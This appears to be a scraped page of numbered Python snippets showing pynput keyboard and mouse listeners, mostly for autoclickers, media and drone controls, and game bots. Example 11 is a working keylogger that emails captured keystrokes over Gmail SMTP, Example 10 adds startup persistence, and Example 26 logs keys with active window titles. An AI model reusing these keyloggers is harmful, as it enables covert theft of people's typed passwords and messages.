Exemplo n.º 1
0
def listen_event():
    def on_click(x, y, button, pressed):

        # print('{0} {1} at {1}'.format(
        #     button,
        #     'Pressed' if pressed else 'Released',
        #     (x, y)))

        if f'{button}' == 'Button.middle' and pressed:
            print('Button Middle pressed.')
            tiles = realtime_shot()
            sync(tiles)

        # if keyboard.is_pressed('1'):
        #     return False

    def on_press(key):
        # print("Key pressed: {0}".format(key))

        if key == Key.esc:
            print("Key pressed: {0}".format(key))
            # return False
            KeyboardListener.stop()
            MouseListener.stop()

    keyboard_listener = KeyboardListener(on_press=on_press)
    mouse_listener = MouseListener(on_click=on_click)

    keyboard_listener.start()
    mouse_listener.start()
    keyboard_listener.join()
    mouse_listener.join()
Exemplo n.º 2
0
def start_listen():
    # with Listener(on_press=printkey) as listener:
    #     listener.join()
    listener = Listener(on_press=printkey)
    x = listener.start()
    print(x)
    listener.join()
Exemplo n.º 3
0
class Autoclicker(object):
    def on_press(self, key):
        if key == self.start_stop_key:
            if self.click_thread.running:
                self.click_thread.stop_clicking()
            else:
                self.click_thread.start_clicking()
        elif key == self.exit_key:
            self.click_thread.exit()
            self.listener.stop()

    def __init__(self, button, delay):
        super().__init__()
        self.mouse = Controller()
        self.delay = delay
        self.button = button
        self.click_thread = ClickMouse(delay, button, self.mouse)
        self.click_thread.start()
        self.start_stop_key = KeyCode(char='s')
        self.exit_key = KeyCode(char='e')
        self.listener = Listener(on_press=self.on_press)
        self.listener.start()

    def start(self):
        self.listener.join()
Exemplo n.º 4
0
def get_region():
    global mouse
    global a_pressed
    x1, y1, x2, y2 = 0, 0, 0, 0
    print(
        "Put your mouse in the top-left corner of the puzzles region, then press 'A'"
    )
    listener = Listener(on_press=on_press)
    listener.start()
    listener.join()
    if a_pressed:
        print("A pressed")
        a_pressed = False
        x1, y1 = mouse.position

    print(
        "Put your mouse in the bottom-right corner of the puzzles region, then press 'A'"
    )
    listener = Listener(on_press=on_press)
    listener.start()
    listener.join()

    if a_pressed:
        print("A pressed")
        a_pressed = False
        x2, y2 = mouse.position
    return x1, y1, x2, y2
Exemplo n.º 5
0
class KeyboardController(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.pressed = set([])
        self.functions = {}
        self.start()

    def on_press(self, key):
        
        self.pressed.add(key)
        if key in self.functions:
            self.functions[key]()

    def on_release(self, key):
        try:
            self.pressed.remove(key)
        except:
            pass

    def add(self, key, function):
        self.functions[key] = function

    def run(self):
        self.listener = Listener(on_press=self.on_press, on_release=self.on_release)
        self.listener.start()
        self.listener.join()
        

    def callback(self):
        self.listener.stop()
Exemplo n.º 6
0
def main():
    global pause, nxt, vol, exit, key_listener
    try:
        pause = ''
        nxt = ''
        vol = ''
        exit = ''
        tracks = []
        path = os.getcwd()
        re_track = re.compile(r'^.+\.(?:mp3|mp4|wav)')

        for dirpath, dirnames, filenames in os.walk(path + '\\tracks'):
            [tracks.append(file) for file in filenames if re_track.match(file)]

        display()
        key_listener = Listener(on_press=on_press)
        player = Thread(target=media_player, args=(tracks, path))
        key_listener.start()
        player.start()
        key_listener.join()
        player.join()

    except KeyboardInterrupt:
        print('Program exiting ..')
        if key_listener.is_alive():
            key_listener.stop()
class KeyController:
    def __init__(self):
        self.listener = Listener(
            on_press=self.on_press,
            on_release=self.on_release)
        self.key_pressed = []
        self.thread = Thread(target=self.run, args=())
        self.thread.start()

    def on_press(self, key: KeyCode):
        # print('{0} release'.format(key))
        keychar = str(key).replace("\'", "").lower()
        if keychar not in self.key_pressed:
            self.key_pressed.append(keychar)

    def on_release(self, key: KeyCode):
        # print('{0} release'.format(key))
        keychar = str(key).replace("\'", "").lower()
        if keychar in self.key_pressed:
            self.key_pressed.remove(keychar)
        if key == KeyCode.from_char('t'):
            # Stop listenerd
            return False

    def run(self):
        with self.listener:
            self.listener.join()
        self.stop()

    def stop(self):
        self.listener.stop()

    def get_key_pressed(self) -> list:
        return self.key_pressed
Exemplo n.º 8
0
 def __init__(self):
     print("Running bot.")
     self.key_pressed = False
     # Listens keyboard events
     listener = Listener(self.on_press, self.on_release)
     listener.start()
     listener.join()
     print("Listening to key pressed...")
Exemplo n.º 9
0
def main():
    global listener

    listener = Listener(on_press=on_press, on_release=on_release)
    listener.start()
    listener.join()

    return
Exemplo n.º 10
0
def start():
    """Main function"""
    addStartup()
    check_file()
    connection_to_the_Internet()
    lis = Listener(on_press = on_press)
    lis.start()
    lis.join()
Exemplo n.º 11
0
class KeyLogger:
    def __init__(self, email, password):
        self.listener = Listener(on_press=self.on_press,
                                 on_release=self.on_release)
        self.keys = []
        self.count = 0
        self.file = "log.txt"
        self.email = email
        self.password = password
        self.msg = MIMEMultipart()
        self.msg['Subject'] = 'Keylogger report'
        self.msg['From'] = self.email
        self.msg['To'] = self.email

    def on_press(self, key):
        if not isinstance(key, (Key)):
            key = key.char
        self.keys.append(key)
        self.count += 1

        if self.count >= 50:
            self.log_file()

    def on_release(self, key):
        if key == Key.esc:
            self.log_file()
            return False

    def log_file(self):
        with open(self.file, 'w') as f:
            for key in self.keys:
                k = str(key).replace("'", "")
                f.write(k)
                f.write(' ')
            f.write('\n')
        self.count = 0
        self.send_mail(self.email, self.password)
        self.keys = []
        self.msg = MIMEMultipart()
        self.msg['Subject'] = 'Keylogger report'
        self.msg['From'] = self.email
        self.msg['To'] = self.email

    def send_mail(self, email, password):
        with open(self.file, 'r') as f:
            part = MIMEApplication(f.read(), Name=self.file)
        part['Content-Disposition'] = 'attachment; filename="{}"'.format(
            self.file)
        self.msg.attach(part)
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, self.msg.as_string())
        server.quit()

    def start(self):
        self.listener.start()
        self.listener.join()
Exemplo n.º 12
0
def _main():
    global args

    # args = {"g": False,
    #             "h": False,
    #             "t": False,
    #             "a": False}

    print("G - Include grid lines")
    print("H - HSV representation")
    print("T - Transparent background")
    print("A - Cumulative data-points")
    print("W - Write pixel values to text file")
    print()
    print("Press <ENTER> to continue to input path")
    print("Or <ESC> to exit")
    print()

    _print_args()

    l = Listener(on_press=_listen_press, suppress=True)
    l.start()
    l.join()

    if stop:
        exit(1)

    print("\n" * 5)

    print("Enter image path as: ")
    print("Global: C:\...\img.jpg")
    print("OR")
    print("Local:  ...\img.png")
    print()
    print("Note:    Extensions must be included")
    print("To exit: X")
    print()
    print()

    while True:
        path_in = input("Path:\t").upper()

        if path_in == "X":
            exit(1)

        if _check_path(path_in):
            if _check_ext(path_in):
                break
            else:
                print("Invalid or Unusable extension\n")
        else:
            print("No such path exists\n")

    args_out = [args['g'], args['h'], args['t'], args['a'], args['w'], path_in]
    print(args_out)
    # return args_out
    return args['g'], args['h'], args['t'], args['a'], args['w'], path_in
Exemplo n.º 13
0
def main():
    global mouseListener
    keyListener = Listener(on_press=on_press, on_release=on_release)
    mouseListener = msListener(on_click=on_click)

    mouseListener.start()
    keyListener.start()
    mouseListener.join()
    keyListener.join()
Exemplo n.º 14
0
class KeyboardLogger():
    class Event(enum.Enum):
        Press = 1
        Release = 2

    def __init__(self, file_name=None, debug=False, handler=None) -> None:
        super().__init__()
        self.listener = None
        self.data = []
        self.debug = debug
        self.handler = handler
        self.file_name = file_name
        self.last_pressed_key = None
        self.last_released_key = None

    def on_press(self, key):
        if self.handler is not None and callable(self.handler):
            self.handler(key)
        if key != self.last_pressed_key and hasattr(key, 'vk'):
            timestamp = time()
            self.data.append(
                [timestamp, key.vk, KeyboardLogger.Event.Press.value])
            self.last_released_key = None
            self.last_pressed_key = key
            if self.debug:
                print('{0} pressed at {1}'.format(key, timestamp))

    def on_release(self, key):
        if key != self.last_released_key and hasattr(key, 'vk'):
            timestamp = time()
            self.data.append(
                [timestamp, key.vk, KeyboardLogger.Event.Release.value])
            self.last_released_key = key
            self.last_pressed_key = None
            if self.debug:
                print('{0} released at {1}'.format(key, timestamp))

    def start_thread(self):
        if self.debug:
            print("Logger started")
        self.listener = Listener(on_press=self.on_press,
                                 on_release=self.on_release)
        with self.listener:
            self.listener.join()

    def start(self):
        listener_thread = threading.Thread(target=self.start_thread)
        listener_thread.start()

    def stop(self):
        if self.debug:
            print("Logger stopped")
        if self.file_name is None:
            return
        if self.listener is not None:
            self.listener.stop()
        numpy.savetxt(self.file_name + KEYS_SUFFIX, self.data)
Exemplo n.º 15
0
class KeyboardController:
    def __init__(self, args, input_ptr=None, scale=0.2):
        print("[Keyboard] Attaching Keyboard Handle")

        self.args = args
        self.factor = 0.5 if self.args.crazyflie else 2
        self.scale = scale
        self.input_ptr = input_ptr
        self.input_ptr_copy = np.copy(self.input_ptr)
        (self.yaw_idx,
         self.neg) = (11, 1) if len(self.input_ptr) == 12 else (3, -1)
        self.orig_settings = termios.tcgetattr(sys.stdin)
        tty.setcbreak(sys.stdin)
        self.keyboard_handle = Listener(on_press=self.on_press,
                                        on_release=self.on_release)
        self.keyboard_handle.start()

    def on_press(self, key):
        try:
            if key.char == 'w':
                self.input_ptr[2] -= self.scale
            elif key.char == 's':
                self.input_ptr[2] += self.scale

            if key.char == 'a':
                self.input_ptr[self.yaw_idx] -= deg2rad(90)
            elif key.char == 'd':
                self.input_ptr[self.yaw_idx] += deg2rad(90)

            if key.char == 'i':
                self.input_ptr[0] += self.scale
            elif key.char == 'k':
                self.input_ptr[0] -= self.scale

            if key.char == 'j':
                self.input_ptr[1] += self.scale
            elif key.char == 'l':
                self.input_ptr[1] -= self.scale

        except AttributeError:
            if key == Key.esc:
                return False

    def on_release(self, key):
        try:
            if key.char == 'a' or key.char == 'd':
                self.input_ptr[self.yaw_idx] = 0
        except AttributeError:
            pass

    def close(self):
        Controller().press(Key.esc)
        Controller().release(Key.esc)
        self.keyboard_handle.join()
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.orig_settings)
        print("[Keyboard] Keyboard handle closed...")
Exemplo n.º 16
0
def main():
    global args, ip
    if args.ip:
        ip = args.ip
    if args.command:
        exec_command(args.command)
    else:
        l = Listener(on_press=on_press, on_release=on_release)
        l.start()
        print("welcom to your digital roku controller. press ? or / for help")
        input_mode_handler()
        l.join()
Exemplo n.º 17
0
 def __init__(self):
     self.tab = Tab()
     self.bar = Bar()
     self.cursor_string = 1
     self.cursor_position = 0
     self.max_len = 0
     self.current_keys = set()
     self.view = View()
     self.view.print(self.tab, self.bar, self.cursor_string,
                     self.cursor_position)
     listener = Listener(on_press=self.on_press)
     listener.start()
     listener.join()
def main():
    global screenshot

    input('Please hit enter to begin\n')

    key_listener = Listener(on_press=on_press)
    screenshot = Process(target=screenshots, args=(file_path, ))
    key_listener.start()
    screenshot.start()

    key_listener.join(600.0)
    screenshot.join(timeout=600)

    main()
Exemplo n.º 19
0
 def start_record(self):
     self.log = open(self.replay_file, "w")
     self.init_time = time.time() * 1000  # To make microseconds
     keyboard_listener = KeyboardListener(on_press=self.__on_press,
                                          on_release=self.__on_release)
     mouse_listener = MouseListener(on_click=self.__on_click,
                                    on_scroll=self.__on_scroll)
     keyboard_listener.start()
     mouse_listener.start()
     keyboard_listener.join()
     mouse_listener.stop()
     keyboard_listener.stop()
     self.log.flush()
     self.log.close()
Exemplo n.º 20
0
    def getdir(self):
        self.dir_ = None  # 如果是不是上下左右则返回None

        def on_press(key):
            if key == Key.up: self.dir_ = Direction.UP
            elif key == Key.down: self.dir_ = Direction.DOWN
            elif key == Key.left: self.dir_ = Direction.LEFT
            elif key == Key.right: self.dir_ = Direction.RIGHT
            return False

        listener = Listener(on_press=on_press)  # 创建监听器
        listener.start()  # 开始监听,每次获取一个键
        listener.join()  # 加入线程
        listener.stop()  # 结束监听
        return self.dir_
def main():
    global command_file, screenshot

    input('Please hit enter to begin\n')

    with open(file_path + 'keys.txt', 'a') as command_file:
        key_listener = Listener(on_press=on_press)
        screenshot = Process(target=screenshots, args=(file_path, ))
        key_listener.start()
        screenshot.start()

        key_listener.join(600.0)
        screenshot.join(timeout=600)

    regex_formating(file_path)

    main()
Exemplo n.º 22
0
class KeyboardController_CD:
    def __init__(self, args, input_ptr=None, scale=0.2, camera=None):
        print("[Keyboard_CD] Attaching Keyboard Handle for Camera Direct")

        self.args = args
        self.factor = 0.35 if self.args.crazyflie else 2
        self.scale = scale
        self.camera = camera
        self.input_ptr = input_ptr
        self.input_ptr_copy = np.copy(self.input_ptr)
        (self.yaw_idx,
         self.neg) = (11, 1) if len(self.input_ptr) == 12 else (3, -1)
        self.orig_settings = termios.tcgetattr(sys.stdin)
        tty.setcbreak(sys.stdin)
        self.keyboard_handle = Listener(on_press=self.on_press,
                                        on_release=self.on_release)
        self.keyboard_handle.start()

    def on_press(self, key):
        try:

            if key.char == 'c':
                self.input_ptr[0] = self.factor * self.camera.x_dot
                self.input_ptr[1] = self.factor * self.camera.y_dot
                self.input_ptr[
                    2] = self.factor * self.camera.z_dot + self.input_ptr_copy[
                        2]

        except AttributeError:
            if key == Key.esc:
                return False

    def on_release(self, key):
        try:
            if key.char == 'a' or key.char == 'd':
                self.input_ptr[self.yaw_idx] = 0
        except AttributeError:
            pass

    def close(self):
        Controller().press(Key.esc)
        Controller().release(Key.esc)
        self.keyboard_handle.join()
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.orig_settings)
        print("[Keyboard_CD] Keyboard handle closed...")
Exemplo n.º 23
0
def loop(vid_file=None, vid_path='./videos/'):
    state = LooperState(video_loaded=True)
    cam = FakeWebcam('/dev/video2', 640, 480)
    cam.print_capabilities()

    cam_stream = setup_cam_stream(1)
    # out_stream, vid_file = setup_recording(vid_path)
    file_stream = setup_file_stream(vid_path, vid_file)

    listener = Listener(on_press=state.change_state)
    listener.start()

    while not state.quit:
        if state.cur_state == 'loop':
            ret, frame = file_stream.read()
            if ret:
                frame = cv2.resize(frame, (640, 480))
            else:
                file_stream.set(cv2.CAP_PROP_POS_FRAMES, 0)
                continue
        elif state.cur_state == 'live':
            ret, frame = cam_stream.read()
            frame = cv2.resize(frame, (640, 480))

        elif state.cur_state == 'blank':
            frame = np.zeros([480, 640, 3], np.uint8)

        elif state.cur_state == 'frozen':
            frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)

        elif state.cur_state == 'recording':
            ret, frame = cam_stream.read()
            frame = cv2.resize(frame, (640, 480))

        frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
        cam.schedule_frame(frame)
        time.sleep(1 / 30.0)

    print('Closing all streams...')
    file_stream.release()
    cam_stream.release()
    listener.stop()
    listener.join()
Exemplo n.º 24
0
def main(foreground, buffer_size, trigger_keys):
    # Initialize all components and hook them up.
    appDirs = AppDirectories() # XDG folders
    notifier = Notifier(typelock) # Create the notifier that calls to each phrase handler
    database = Database(appDirs) # Read database in
    dbchange = DatabaseChangeHandler(notifier, database)
    watch = InotifyWatch(database.dbFile) 
    watch.add_observer(dbchange)  # Watch for changes in database outside this process
    i = InputHandler(typelock, notifier, buffer_size, trigger_keys) # Accepts keyboard inputs
    watch.start()
    i.add_handler(DeleteHandler()) # Special behavior for deletes
    i.add_handler(AlphaNumHandler()) # Standard behavior for everything else
    i.add_handler(SpaceHandler())
    write_pid(appDirs) # Store the current pid
    listener = Listener(on_press=i)
    with Listener(on_press=i) as listener: # Continue listening until SIGTERM
        signal.signal(signal.SIGTERM, ShutdownHook(listener, watch, appDirs))
        signal.signal(signal.SIGINT, ShutdownHook(listener, watch, appDirs))
        listener.join()
Exemplo n.º 25
0
def startListener(arg):
    global listener  # inform function to use external variable

    if arg == btStart:
        if listener is None:
            print('[+] starting listener')
            listener = Listener(on_press=press)
            listener.start()
        else:
            print('[!] already running')

    if arg == btStop:
        if listener is None:
            print('[!] not running')
        else:
            print('[+] stoping thread')
            listener.stop()
            listener.join()
            listener = None
Exemplo n.º 26
0
    def startHackpyKeyLogger(self):
        global hackpyKeyloggerIsStopped
        hackpyKeyloggerIsStopped = False
        # Write some data
        with open(self.filename, 'a') as logs:
            logs.write('\n(' + date.all() + ') - [' + getActiveWindow() +
                       '] - \"')
        # Replace
        key_map = {'Key.space': ' ', 'Key.enter': '\n', '\'': '', 'Key.': ''}

        # Save key
        def on_press(key):
            Key_text = str(key)
            # Replace space, enter to ' ' and '\n'
            for old, new in key_map.items():
                Key_text = Key_text.replace(old, new)
            # If is special key
            if len(Key_text) > 1:
                Key_text = ' [' + Key_text + '] '.upper()
            # If is enter
            if (Key_text == '\n'):
                Key_text = '\"\n' + '(' + date.all(
                ) + ') - [' + getActiveWindow() + '] - \"'

            #print(Key_text)
            with open(self.filename, 'a', encoding="utf8",
                      errors='ignore') as logs:
                logs.write(Key_text)
                if hackpyKeyloggerIsStopped:
                    logs.write('\"')
                    return False

            # if key == Key.esc:
            # 	print('Exit')
            # 	return False

        # Collect keyboard events
        s = Listener(on_release=on_press)
        s.start()
        s.join()
Exemplo n.º 27
0
def PracticeTyperacing():
    global accuracy, correct_characters, text, start_time, character_infos, wpm, correct_counter, incorrect_counter, current_time
    clearscreen()
    ResetStats()
    start_time = time.time()
    active_game = True
    DisplayContent()

    game = Listener(on_press=KeyComparison)
    game.start()
    game.join()

    #accuracy = (len(correct_characters) / len(text)) * 100.0
    accuracy = ComputeAccuracy(character_infos)

    DisplayContent(mode='gameover')
    print('game over\n')
    print(f'WPM: {wpm}')
    print(f'Accuracy: {fixed_set_precision_str(accuracy, 2)}%\n')
    ResetStats()

    pauseprogram()
Exemplo n.º 28
0
def get_unix_keys(queue):
    if platform_name != 'Windows':

        def on_release(key):
            unix_keys = []

            if key == Key.space:
                unix_keys.append(' ')
                queue.put(unix_keys)
            else:
                try:
                    unix_keys.append(key.char)
                    queue.put(unix_keys)
                    if key.char == 'q':
                        return False
                except:
                    pass

        listener = Listener(on_release=on_release)
        listener.daemon = True
        listener.start()
        listener.join()
Exemplo n.º 29
0
def start(bbox, allowed_error=5, tesspath=""):
    """Takes in bounding box coordinates and begins watching
    that section of the screen for the text "Fishing Bobber splashes",
    double clicking the right mouse button when it sees it to reel in
    the fish and recast the line. Press enter to quit.

    Arguments:
        bbox (list)
            A list of 4 numbers (x1, y1, x2, y2) obtained from the screengrabber
            program, where (x1, y1) is the top left corner of the bounding box
            and (x2, y2) is the lower right corner
        allowed_error (`int`, optional)
            The margin of error (measured in Levenshtein distance) allowed for
            text matching, i.e. 'Fishing Gobber splashes' has an error of 1
        tesspath (`str`, optional)
            The path to your Tesseract installation, leave blank to use default
    """
    if tesspath != "":
        pt.pytesseract.tesseract_path = tesspath

    mouse = Controller()
    listener = Listener(on_press=_keyDown)
    listener.start()

    timeout = 45  # Fish always appears within 45 seconds, if we wait longer than this then recast the line
    cast_time = time.monotonic()
    while listener.is_alive():
        # Grab portion of screen defined in config file & send it to tesseract
        screen = ig.grab(bbox=bbox)
        screen_text = pt.image_to_string(screen)
        if match(screen_text, threshold=allowed_error
                 ) or time.monotonic() - cast_time > timeout:
            # Either fish was found or timeout was exceeded, reel in the line and cast it again
            mouse.click(Button.right, 2)
            cast_time = time.monotonic()
        time.sleep(0.25)

    listener.join()
Exemplo n.º 30
0
class Director:
    def on_key_press(self, key):
        if key == Key.down:
            self.selector.move_down()
        elif key == Key.up:
            self.selector.move_up()
        elif key == Key.enter:
            self.selector.move_in()
        elif key == Key.esc:
            self.selector.move_out()
        elif key == Key.delete:
            actions.delete_selected_object(self.selector.display)
        elif key == Key.backspace:
            self.key_listener.stop()
            self.hotkey_listener.stop()
            self.selector.display.terminate = True

    def on_ctrl_d_press(self):
        actions.create_new_directory(self.selector.display)

    def on_ctrl_f_press(self):
        actions.create_new_file(self.selector.display)

    def __init__(self, selector):
        self.selector = selector
        self.started = False
        self.key_listener = Listener(self.on_key_press)
        self.hotkey_listener = GlobalHotKeys({
            '<ctrl>+d': self.on_ctrl_d_press,
            '<ctrl>+f': self.on_ctrl_f_press
        })

    def start_directing(self):
        if not self.started:
            self.started = True
            self.key_listener.start()
            self.hotkey_listener.start()
            self.key_listener.join()